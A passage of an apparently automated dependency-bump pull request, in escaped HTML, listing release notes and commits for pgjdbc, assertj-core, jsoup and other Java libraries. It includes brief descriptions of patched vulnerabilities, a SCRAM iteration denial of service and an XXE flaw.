LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.2...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `javax.xml.bind:jaxb-api` from 2.2.3 to 2.3.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/javaee/jaxb-spec/commits/2.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.assertj:assertj-core` from 3.21.0 to 3.27.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/assertj/assertj/releases\"\u003eorg.assertj:assertj-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.27.7\u003c/h2\u003e\n\u003ch2\u003e:lock: Security\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix XXE vulnerability in \u003ccode\u003eisXmlEqualTo\u003c/code\u003e assertion (CVE-2026-24400)\n\u003cul\u003e\n\u003cli\u003eSee GHSA-rqfh-9r24-8c9r for details; many thanks to \u003ca href=\"https://github.com/wxt201\"\u003e\u003ccode\u003e@​wxt201\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/Song-Li\"\u003e\u003ccode\u003e@​Song-Li\u003c/code\u003e\u003c/a\u003e for responsibly reporting it!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:no_entry_sign: Deprecated\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eXmlStringPrettyFormatter\u003c/code\u003e with no replacement\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:bug: Bug Fixes\u003c/h2\u003e\n\u003ch3\u003eGuava\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNavigation to \u003ccode\u003eassertj-core\u003c/code\u003e or \u003ccode\u003eguava\u003c/code\u003e types from \u003ccode\u003eassertj-guava\u003c/code\u003e Javadoc site has unnecessary header \u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3478\"\u003e#3478\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:hammer: Dependency Upgrades\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to Byte Buddy 1.18.3\u003c/li\u003e\n\u003cli\u003eUpgrade to JUnit BOM 5.14.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eGuava\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to Guava 33.5.0-jre\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev3.27.6\u003c/h2\u003e\n\u003ch2\u003e:bug: Bug Fixes\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd missing export for \u003ccode\u003eorg.assertj.core.annotation\u003c/code\u003e \u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3951\"\u003e#3951\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:heart: Contributors\u003c/h2\u003e\n\u003cp\u003eThanks to all the contributors who worked on this release:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/duponter\"\u003e\u003ccode\u003e@​duponter\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.27.5\u003c/h2\u003e\n\u003ch2\u003e:zap: Improvements\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eByteBuddy in AssertJ 3.27.4 not compatible with Java 25 \u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3946\"\u003e#3946\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/e84071667f5f8f13084af9dfa54cee5fd9db18db\"\u003e\u003ccode\u003ee840716\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release assertj-build-3.27.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/85ca7eb6609bb179c043b85ae7d290523b1ba79a\"\u003e\u003ccode\u003e85ca7eb\u003c/code\u003e\u003c/a\u003e Deprecate \u003ccode\u003eXmlStringPrettyFormatter\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/77081dc5eb107141df80f95bd0149b468e451341\"\u003e\u003ccode\u003e77081dc\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/b68fc24a9de28f28a486fc5b887c1b8a003a5823\"\u003e\u003ccode\u003eb68fc24\u003c/code\u003e\u003c/a\u003e Bump github/codeql-action from 4.31.9 to 4.31.10 in the github-actions group ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/0cf5bb6c50f6ead3deaa2a2ff50ef1e7d933c8a3\"\u003e\u003ccode\u003e0cf5bb6\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003ekotlin.version\u003c/code\u003e from 2.1.0 to 2.2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/d393ef1f5e48c89d47d7cf6d1eae359ceda0a126\"\u003e\u003ccode\u003ed393ef1\u003c/code\u003e\u003c/a\u003e Abort tests when symbolic links cannot be created (\u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3788\"\u003e#3788\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/22124331e9922af5a43ab50f7a9a25b65be53be1\"\u003e\u003ccode\u003e2212433\u003c/code\u003e\u003c/a\u003e Add IntelliJ custom inspection for test class names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/5717d025cfe0f4c66de20f3253c0b0ecba259aa1\"\u003e\u003ccode\u003e5717d02\u003c/code\u003e\u003c/a\u003e Update JetBrains icon\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/a8ec20bd42ed01f9cc6f654046c7dd424b0af07c\"\u003e\u003ccode\u003ea8ec20b\u003c/code\u003e\u003c/a\u003e Add icon for JetBrains products\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/c05fb3d052b415fb2d6051df939f3b7903a76afe\"\u003e\u003ccode\u003ec05fb3d\u003c/code\u003e\u003c/a\u003e Bump Maven to 3.9.12 and Wrapper to 3.3.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/assertj/assertj/compare/assertj-core-3.21.0...assertj-build-3.27.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.codehaus.groovy:groovy-all` from 3.0.21 to 3.0.25\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/apache/groovy/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jsoup:jsoup` from 1.15.3 to 1.22.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/releases\"\u003eorg.jsoup:jsoup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ejsoup Java HTML Parser release 1.22.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup 1.22.2\u003c/strong\u003e is out now, with fixes and refinements across the library. It makes editing the DOM during traversal more predictable, refreshes the default HTML tag definitions with newer elements and better text boundaries, and improves reliability in parsing and HTTP transport. The release also fixes a number of edge cases in cleaning, stream parsing, XML doctype handling, and Android packaging.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup\u003c/strong\u003e is a Java library for working with real-world HTML and XML. It provides a very convenient API for extracting and manipulating data, using the best of HTML5 DOM methods and CSS selectors.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/jhy/jsoup/blob/HEAD/download\"\u003e\u003cstrong\u003eDownload\u003c/strong\u003e\u003c/a\u003e jsoup now.\u003c/p\u003e\n\u003ch2\u003eImprovements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003c!-- raw HTML 